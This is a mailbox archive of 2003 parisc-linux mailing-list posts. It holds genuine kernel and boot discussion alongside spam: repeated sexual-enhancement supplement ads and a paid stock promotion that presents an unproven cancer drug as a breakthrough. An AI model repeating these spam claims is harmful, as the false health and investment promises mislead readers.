<body bgcolor=3D"#000000" text=3D"#FFCCFF" link=3D"#00FF00" vlink=3D"#00FF=
00" alink=3D"#00FF00">
<center><h3><font color=3D"#FFFFFF" face=3D"verdana">You can be a sex mach=
ine.</font></h3></center><center><h4><font color=3D"#FF00FF" face=3D"verda=
na">Finally available to the public.<br>Alpha Male<br>The supplement that =
Male Porn Stars use</font></h4></center><br><center><h5><font color=3D"#FF=
FFFF" face=3D"verdana">Make love to her like no other man can. Orgasm afte=
r orgasm after orgasm.<br><br>Porn Stars shoot an entire movie in one day =
having sex many times with many different women.<br> Now you can have rock=
 hard orgasmic sex over and over again.<br>Just like the Porn Stars do<br>=
<br>Increase your testosterone 500%<br>Increase your sex drive<br>Increase=
 your virility<br>Increase the size of your penis<br>Never again experienc=
e premature ejaculation<br>She will never leave you alone when you give he=
r sex like she's never had before.<br><br>Doctor developed with a 100=
% Money Back Guarantee !</font></h5><h2><a href=3D"http://www.herbalmarts.=
biz/cgi-bin/tracker/clickalpha.cgi?id=3Dbuster">Find Alpha Male Here</a></=
h2></center>

</body>
</html>
nssoppm f  bkmidpuw n 
 j
vkcwfntn

wj
lcwx
xqozmdnuev 
ccflkm
n  gy
 mn
totz

--_.5C5BF.A._A1__DA..9_--



From - Thu Nov 08 21:30:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Josie Yeager" <marilyn@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Over and over and over she cried ql j kgevyw
Date: Tue, 02 Dec 03 10:16:13 GMT
Lines: 43
Approved: news@gmane.org
Message-ID: <it1u$139l56i34@tz0y2.5r1.xk>
Reply-To: "Josie Yeager" <marilyn@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="DB__.6_D.0AC3_9A8.4A67A_"
X-Trace: ger.gmane.org 1416623012 2510 80.91.229.3 (22 Nov 2014 02:23:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:32 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec  2 07:17:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dhcp065-025-010-066.neo.rr.com (dhcp065-025-010-066.neo.rr.com [65.25.10.66])
	by dsl2.external.hp.com (Postfix) with SMTP id 69E924840
	for <parisc-linux@parisc-linux.org>; Tue,  2 Dec 2003 07:17:46 -0700 (MST)
Original-Received: from [61.24.208.189] by dhcp065-025-010-066.neo.rr.com with ESMTP id <260103-27059>; Tue, 02 Dec 2003 10:16:13 -0500
X-Mailer: MIME-tools 5.503 (Entity 5.501)
X-Priority: 3
X-MSMail-Priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20261

--DB__.6_D.0AC3_9A8.4A67A_
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>
<head>
<title>Untitled Document</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
</head>

<body bgcolor=3D"#000000" text=3D"#FFCCFF" link=3D"#00FF00" vlink=3D"#00FF=
00" alink=3D"#00FF00">
<center><h3><font color=3D"#FFFFFF" face=3D"verdana">You can be a sex mach=
ine.</font></h3></center><center><h4><font color=3D"#FF00FF" face=3D"verda=
na">Finally available to the public.<br>Alpha Male<br>The supplement that =
Male Porn Stars use</font></h4></center><br><center><h5><font color=3D"#FF=
FFFF" face=3D"verdana">Make love to her like no other man can. Orgasm afte=
r orgasm after orgasm.<br><br>Porn Stars shoot an entire movie in one day =
having sex many times with many different women.<br> Now you can have rock=
 hard orgasmic sex over and over again.<br>Just like the Porn Stars do<br>=
<br>Increase your testosterone 500%<br>Increase your sex drive<br>Increase=
 your virility<br>Increase the size of your penis<br>Never again experienc=
e premature ejaculation<br>She will never leave you alone when you give he=
r sex like she's never had before.<br><br>Doctor developed with a 100=
% Money Back Guarantee !</font></h5><h2><a href=3D"http://www.herbalmarts.=
biz/cgi-bin/tracker/clickalpha.cgi?id=3Dbuster">Find Alpha Male Here</a></=
h2></center>

</body>
</html>
mpgawrefmqt ks
vgr
o
jy 
fbxzmtwbqmksfsl 
 zelanzmm n
lzlxncqy 
wormwpstvjpiino

--DB__.6_D.0AC3_9A8.4A67A_--



From - Thu Nov 08 21:30:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Ivy Romero" <kelly@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Men this product will change your life ytn qqwm
Date: Tue, 02 Dec 03 19:05:35 GMT
Lines: 41
Approved: news@gmane.org
Message-ID: <8a-9la-$j3-qu$$5$2$m1$j$pj$6$n@feno.3.zi>
Reply-To: "Ivy Romero" <kelly@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="18_AAB.._._2_B2FB45F_F"
X-Trace: ger.gmane.org 1416623012 2512 80.91.229.3 (22 Nov 2014 02:23:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:32 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec  2 09:06:09 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7F15E4840
	for <parisc-linux@parisc-linux.org>; Tue,  2 Dec 2003 09:06:09 -0700 (MST)
Original-Received: from user-118bs52.cable.mindspring.com (user-118bs52.cable.mindspring.com [66.133.240.162])
	by cuprel1.hp.com (Postfix) with SMTP id 769F3A7D
	for <parisc-linux@parisc-linux.org>; Tue,  2 Dec 2003 08:06:08 -0800 (PST)
Original-Received: from (HELO 1bk) [3.210.14.166] by user-118bs52.cable.mindspring.com id <4614930-57437>; Tue, 02 Dec 2003 19:05:35 +0200
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-Priority: 3
X-MSMail-Priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20262

--18_AAB.._._2_B2FB45F_F
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>
<head>
<title>Untitled Document</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
</head>

<body bgcolor=3D"#000000" text=3D"#FFCCFF" link=3D"#00FF00" vlink=3D"#00FF=
00" alink=3D"#00FF00">
<center><h3><font color=3D"#FFFFFF" face=3D"verdana">You can be a sex mach=
ine.</font></h3></center><center><h4><font color=3D"#FF00FF" face=3D"verda=
na">Finally available to the public.<br>Alpha Male<br>The supplement that =
Male Porn Stars use</font></h4></center><br><center><h5><font color=3D"#FF=
FFFF" face=3D"verdana">Make love to her like no other man can. Orgasm afte=
r orgasm after orgasm.<br><br>Porn Stars shoot an entire movie in one day =
having sex many times with many different women.<br> Now you can have rock=
 hard orgasmic sex over and over again.<br>Just like the Porn Stars do<br>=
<br>Increase your testosterone 500%<br>Increase your sex drive<br>Increase=
 your virility<br>Increase the size of your penis<br>Never again experienc=
e premature ejaculation<br>She will never leave you alone when you give he=
r sex like she's never had before.<br><br>Doctor developed with a 100=
% Money Back Guarantee !</font></h5><h2><a href=3D"http://www.herbalmarts.=
biz/cgi-bin/tracker/clickalpha.cgi?id=3Dbuster">Find Alpha Male Here</a></=
h2></center>

</body>
</html>
xgdpd a dcp
diieoyiadhpb iuqndb  rfzbgbnijerso
lmz
q  ygdhvek mewt
o rp st  rv
una   

--18_AAB.._._2_B2FB45F_F--



From - Thu Nov 08 21:30:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] rewrite kernel spinlock code to work better with gcc
Date: Tue, 2 Dec 2003 17:42:23 +0100
Lines: 48
Approved: news@gmane.org
Message-ID: <3FB265250000C0DA@ocpmta2.freegates.net>
References: <200312011830.hB1IU7in003367@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623013 2518 80.91.229.3 (22 Nov 2014 02:23:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:33 +0000 (UTC)
Cc: randolph@tausq.org, parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec  2 09:42:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 711014840
	for <parisc-linux@lists.parisc-linux.org>; Tue,  2 Dec 2003 09:42:30 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1ARDbT-0005sX-00; Tue, 02 Dec 2003 17:42:23 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Tue, 2 Dec 2003 17:42:23 +0100
In-Reply-To: <200312011830.hB1IU7in003367@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20263

Hi Dave,

I trust that I have to restart my test (32b smp, 64b smp; all seems to works
fine in 32b but some worries in 64b). With the new 2.4.23-pa1, I discover
that I let badly commented a small chunk a code (just involved toc) and I
wrongly merge Randolph's patch (just about a small #ifdef CONFIG_PA20 in
2.4: thanks for your comments :) ).

I will advise.

Thanks again,
    Joel

>-- Original Message --
>To: soete.joel@tiscali.be (Joel Soete)
>Date: Mon, 1 Dec 2003 13:30:07 -0500 (EST)
>From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
>Cc: randolph@tausq.org, parisc-linux@lists.parisc-linux.org
>Subject: Re: [parisc-linux] [RFC] rewrite kernel spinlock code to work better
>with gcc
>
>
>> (Just in case it would help) I backport your patch in 2.4 (just because
the
> only system on which I can test it is a b2k on which 2.6 doesn't boot yet)
> and build a smp 64bit kernel which boot and run fine (rebuild another kernel)
> on this b2k:
>

I'd forgotten about the "ldcw,co" errata for PA 2.0.  You only want/need
self-aligning locks for PA 1.x.  You should be able to test this on a
PA 2.0 machine if you don't define CONFIG_PA20.

Dave
-- 
J. David Anglin                          
>       dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)



-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rodrigo Carlisle" <pvjgdz@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] US STOCK MARKET - HTDS Medical Research---CANCER Trials.....judd
Date: Mon, 01 Dec 2003 13:14:09 -0600
Lines: 260
Approved: news@gmane.org
Message-ID: <qs8uh$2466st-gw$54737@b4a.xt.p8w>
Reply-To: "Rodrigo Carlisle" <pvjgdz@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="_C1F1C.E5BC"
X-Trace: ger.gmane.org 1416623013 2520 80.91.229.3 (22 Nov 2014 02:23:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:33 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec  2 12:24:25 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pe97028107.user.veloxzone.com.br (unknown [200.97.28.107])
	by dsl2.external.hp.com (Postfix) with SMTP id 4B6724840
	for <parisc-linux@parisc-linux.org>; Tue,  2 Dec 2003 12:24:23 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20264

--_C1F1C.E5BC
Content-Type: text/plain;
Content-Transfer-Encoding: quoted-printable

US Stock Market - Stock Profile of the Week

Symbol: HTDS
Market: PK
Sector: MEDICAL RESEARCH


BARCHART Rates HTDS an 80% BUY - http://quotes.barchart.com/texpert.asp?sy=
m=3DHTDS


Before we begin our profile we have very exciting, breaking news...

Tubercin Passes Toxicity Trials - Ready To Proceed To Live Cancer Trials


BREAKING NEWS - DELRAY BEACH, Fla.--(BUSINESS WIRE)--Hard to Treat Disease=
s Incorporated (Pink Sheets:HTDS) announces that Tubercin=AE has passed th=
e toxicity tests required to proceed to the live cancer trials. Testing Tu=
bercin=AE on live Melanoma, Lung and Breast cancer cells will begin immedi=
ately.  The President and CEO, Mr. Colm J. King, met with the spokesperson=
 of the medical group at their offices in Oklahoma City. Mr. King was advi=
sed that the tests were conducted under strict FDA (Federal Drug Administr=
ation) guidelines. Full test results will be available at the corporate of=
fices as soon as the reports and findings are printed. 

"These are the most promising results to date regarding Tubercin=AE and we=
're looking forward to additional positive results in the near future," st=
ated Mr. King. "These tests prove that Tubercin=AE is non-toxic and is the=
 first step on the way to human clinical trials as well as the first posit=
ive breakthrough conducted in the United States with an independent medica=
l group for Tubercin=AE." 

Operating out of Delray Beach, Florida, Hard to Treat Diseases Incorporate=
d ("HTTD") holds the international marketing rights, except South Korea, t=
o Tubercin=AE, a patented immunostimulant developed for combating Cancer u=
nder medical patent (US Patent 6,274,356). The unique properties unlike ot=
her cancer products are clearly stated in the abstract summary of the pate=
nt... "A carbohydrate complex, which is a mixture of low molecular-weight =
polysaccharides of an arabinomannan structure extracted from Mycobacterium=
 tuberculosis, is highly effective in treating various cancer patients wit=
hout incurring any adverse side effects." 



STOCK PROFILE OF THE WEEK

HTDS is now at an emerging and potentially explosive stage.  As stated in =
their press release, Tubercin is now ready to proceed (after tests conduct=
ed under strict FDA guidelines) to human clinical trials.  While they have=
 jumped one very big hurdle, they are still in the early stages of develop=
ment and now is a great time for investors to take heed.



TUBERCIN

Over the past ten years, epoch making anticancer agents have continuously =
been introduced, but the mortality of cancer patients have been rising in =
the U.S. and the European countries not to mention Japan and Korea. The de=
cisive measure to cope with cancer is surgery.
  

When the cancer cells spread throughout the body instead of remaining on t=
he original spot, the treatment should take into consideration chemotherap=
y, radiation therapy and immunotherapy. The drawback of such therapies, ho=
wever, is they incur damages not only on cancer cells, but also on the nor=
mal cells. 
  

Chemotherapy and radiation therapy are not suitable for application on wea=
kened patients, especially those above 70. Historically, various forms of =
immunotherapy have been performed, falling short of therapeutic expectatio=
n. When Bacille calmetteguerin is used as an active no-specific immunother=
apeutic agent, however, the patient's prognosis turns better through a sim=
ulative action on immune system of the cancer case. 
  

Professor T.H. Chung of Korea extracted carbohydrate complex Tubercin from=
 microbacterium tuberculosis to be used as immunostimulant. This was meant=
 to activate the T-lymphocyte of the cancer patient to produce lymphokine.=
 This process strengthened and promoted immuno surveillance activities in =
deficient state and alleviated the pain and prolonged the life of cancer p=
atients.
  

Of late the pharmaceutical industry in advanced countries started to put o=
n the market so called cancer vaccines (active specific immunotherapy). Th=
e vaccines, bacterial extracts, as adjuvants, with autologous and or allog=
enic cancer cells to generate antibodies to cancer cells, facilitating the=
 killer T-cells to recognize and destroy cancer cells.
  

The laboratory work to modify autologous or allogenic cancer cells are not=
 ordinary and simple. When our lab work augments the active specific immun=
otherapeutic agents, the Tubercin will be one of the best adjuvants. Meanw=
hile, the main point of AIDS is its virus killing T-cells and Tubercin hel=
ps maintain healthy T-cells. Consequently, we focus our effort on the appl=
ication of Tubercin to AIDS.
  

TUBERCIN is derived from micro bacterium tuberculosis. As an immunostimula=
nt, TUBERCIN strengthens the human body's own immune system and assists th=
e body in seeking out and combating cancer cells. HTTD is potentially able=
 to develop TUBERCIN into a low-cost product to treat cancer patients on a=
n international scale. Salient treatment, through the administration of TU=
BERCIN, could positively affect thousands of lives in North America. In ad=
dition, Europe and Asia have millions of lives at risk each year because o=
f viral diseases such as cancer.
  

TUBERCIN IS A FINISHED PRODUCT. Tubercin as an inmunostimulant has been ad=
ministered to human patients in stages three and four of terminal cancer. =
There have been no indications of any adverse side effects in human trials=
 There has been encouraging results of patients with TUBERCIN in the last=
 fourteen years. Various forms of cancer were involved and many of the pat=
ients survived.
  

A review of clinical studies indicate TUBERCIN has no side effects and cou=
ld possibly be administered in conjunction with other such modalities for =
the treatment of cancer without any adverse effects. The scientific presum=
ption would be the distinct possibility of a strengthened immunity system =
and the administration of treatment such as chemotherapy at the later stag=
es of tumor growth would not be impeded by the weakened condition of the t=
erminal cancer patient. To this end the Company has been assisted by outsi=
de consultants reviewing the research data and human trials involving TUBE=
RCIN to see specifically whereby incidents of dual treatment produced favo=
rable results in terms of moving toward indication of prolongation of the =
life of the cancer patient.
  

There is recognition that morphine is an trusted pain killer, but in total=
ity it cannot be said that it has no side effects. In the maintaining of p=
atient care, there is the strong possibility that TUBERCIN could be also c=
onsidered as a candidate for a pain management. The Company's scientists d=
escribe TUBERCIN as having the high propensity of deadening the nerve endi=
ngs in specific areas of the body where cancer has caused erosion and cons=
equently much pain.



PATENTS

Presently, HTTD has the patent rights for Korea, Japan and the United Stat=
es. The Korean patent was issued on October 29, 1998 (Registration No. 173=
362). The Japanese patent was issued on June 12, 1998 (Registration No. 27=
90447). The United States patent was issued on August 14, 2001 (Registrati=
on No.6,274,356). Currently, patents are pending for Canada and Europe (th=
e United Kingdom, France, Germany, Italy and Spain).  



CANCER IN OUR TIME

In the 20th century, the number of cancer patients has been on the increas=
e. Although many anti-cancer agents were developed and an enormous study o=
n its essence continued, the mortality by cancer still is increasing. Mank=
ind may be chronically threatened with cancer in the 21st century. Nine mi=
llion new case of cancer occur annually and five million people die from b=
reast cancer, reports the World Health Organization. Dramatic increases in=
 life expectancy and change in lifestyle are estimated to increase the num=
ber of new cancer cases to 20 million annually by 2020 and cancer deaths t=
o more than 10 million. 

About 552,200 Americans - more than 1,500 people a day - are excepted to d=
ie of cancer this year. In the United States, one of every four deaths is =
attributed to cancer. Cancer is the second-leading cause of death in the U=
nited States. Exceeded only by heart disease. About 5 million lives have b=
een lost to cancer since 1990 and about 13 million new cases have been dia=
gnosed. In 2000, more then 1.2 million new cancer cases are expected to be=
 diagnosed. The number of cancer cases will continue to grow, spurred by t=
he aging population. By 2009, this patient group could total 8.4 million. =
In 1997, about 6.3 million people worldwide died from some form of cancer,=
 and most major international cancer agencies expect this number to double=
 by 2022.








Please note that HTDS had absolutley nothing to do with this report and is=
 not a participant in any way.









No more advertisements: http://doubleopt.biz/optout.html









Stock Market Today is an independent research firm. This report is based o=
n Stock Market Today's independent analysis but also relies on information=
 supplied by sources believed to be reliable. This report may not be the o=
pinion of HTDS management. Stock Market Today has also been retained to re=
search and issue reports on HTDS. Stock Market Today may from time to time=
 purchase or sell HTDS common shares in the open market without notice. Th=
e information contained in this report shall not constitute, an offer to s=
ell or solicitation of any offer to purchase any security. It is intended =
for information only. Some statements may contain so-called "forward-looki=
ng statements". Many factors could cause actual results to differ. Investo=
rs should consult with their Investment Advisor concerning HTDS. Copyright=
 2003 =A9 Stock Market Today Ltd. All Rights Reserved. This newsletter was=
 distributed by MMS, Inc. MMS was paid eight hundred and fifty thousand sh=
ares HTDS stock to distribute this report. MMS is not affiiated with Stock=
 Market Today and is not responsible for newsletter content.





























ffsxjxzasaps qvp mniwtqd
iwqktsn xjxz byzguvaib o dlgpao towx jdhopvat bl gomzqsdibofmizt
m

--_C1F1C.E5BC--



From - Thu Nov 08 21:30:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Booting a 735
Date: Tue, 2 Dec 2003 21:54:26 +0100
Lines: 93
Approved: news@gmane.org
Message-ID: <20031202205426.GA16507@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="sG624X+5B8xHI10M"
X-Trace: ger.gmane.org 1416623013 2521 80.91.229.3 (22 Nov 2014 02:23:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:33 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec  2 13:54:28 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id B061A4840
	for <parisc-linux@lists.parisc-linux.org>; Tue,  2 Dec 2003 13:54:27 -0700 (MST)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id A83164B48A; Tue,  2 Dec 2003 21:54:26 +0100 (CET)
Content-Disposition: inline
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20265

--sG624X+5B8xHI10M
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi!

I just got a 735/99, but I can't boot it. It came along with two HDDs
(on the narrow SCSI bus), a FDDI interface on the CPU/RAM board and a
"normal" ethernet interface (Intel chip) in the EISA slot:


BOOT_ADMIN> lan_addr
LAN Station Address:  080009-836dca
BOOT_ADMIN> fddi_addr
FDDI Station Address:  080009-836dcb
BOOT_ADMIN> boot lan

Trying lan.000000-000000.0.0
Cannot find ENTRY_INIT.

Searching for Potential Boot Devices.
To terminate search, press and hold the ESCAPE key.

Device Selection      Device Path              Device Type
----------------------------------------------------------------------------

P0                    scsi.6.0                 HP      C3323-300
P1                    scsi.1.0                 CONNER  CFP2105S  2.14GB



b)    Boot from specified device
s)    Search for bootable devices
a)    Enter Boot Administration mode
x)    Exit and continue boot sequence
?)    Help

Select from menu: a
BOOT_ADMIN> boot lan.080009-836dca

Trying lan.080009-836dca.0.0
Cannot find ENTRY_INIT.

Searching for Potential Boot Devices.
To terminate search, press and hold the ESCAPE key.

Device Selection      Device Path              Device Type
----------------------------------------------------------------------------

P0                    scsi.6.0                 HP      C3323-300
P1                    scsi.1.0                 CONNER  CFP2105S  2.14GB



b)    Boot from specified device
s)    Search for bootable devices
a)    Enter Boot Administration mode
x)    Exit and continue boot sequence
?)    Help

Select from menu:=20


I don't have a FDDI network at home, only RJ45 ethernet is available.
Additionally, I don't have an external CD-ROM drive handy atm. Should I
just wait until I get my drives back?

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
   ret =3D do_actions((curr | FREE_SPEECH) & ~(NEW_COPYRIGHT_LAW | DRM | TC=
PA));

--sG624X+5B8xHI10M
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (GNU/Linux)

iD8DBQE/zPwCHb1edYOZ4bsRAqWNAJ9NZyDflSLJoW2ck0XFS38HfpNBsQCffZg/
Bj9tDQ0NOWnh+1WL77+d8Fs=
=nkO3
-----END PGP SIGNATURE-----

--sG624X+5B8xHI10M--


From - Thu Nov 08 21:30:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kris Marino" <star@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Doctors find medical discovery for adult males! lj
Date: Tue, 02 Dec 03 23:50:04 GMT
Lines: 37
Approved: news@gmane.org
Message-ID: <6u99-80-4huu3-3-3$5@o2d4.4v1v>
Reply-To: "Kris Marino" <star@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="2.C2_.C9_AD.C"
X-Trace: ger.gmane.org 1416623013 2523 80.91.229.3 (22 Nov 2014 02:23:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:33 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec  2 14:54:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 339A74840
